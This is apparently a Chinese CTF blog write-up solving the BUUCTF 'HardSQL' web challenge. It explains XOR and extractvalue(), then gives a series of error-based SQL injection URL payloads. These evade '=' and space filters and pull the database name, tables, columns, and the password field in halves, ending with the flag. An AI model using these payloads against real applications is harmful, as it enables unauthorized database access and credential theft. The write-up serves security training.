Buuctf-web-[极客大挑战 2019]HardSQL

 

 被堵

 

 

异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null

我们还需要用到一个函数:extractvalue()

对XML文档进行查询的函数

还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

 

然后,我们开始注入

第一个payload:

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(database()))))%23

 

 库名出来了,接着爆表

发现等于号被过滤,可以用like代替

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

 

 接着爆字段

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

 

因为用extractvalue()函数,一次只能显示32个字符,我们需要用 left right函数

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))%23

 

 

 

?username=admin&password=1'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))%23

 

flag{68e2d23a-f3b9-46b5-8298-d0470eca0517}

posted @ 2021-01-21 10:58  夜布多  阅读(89)  评论(0编辑  收藏  举报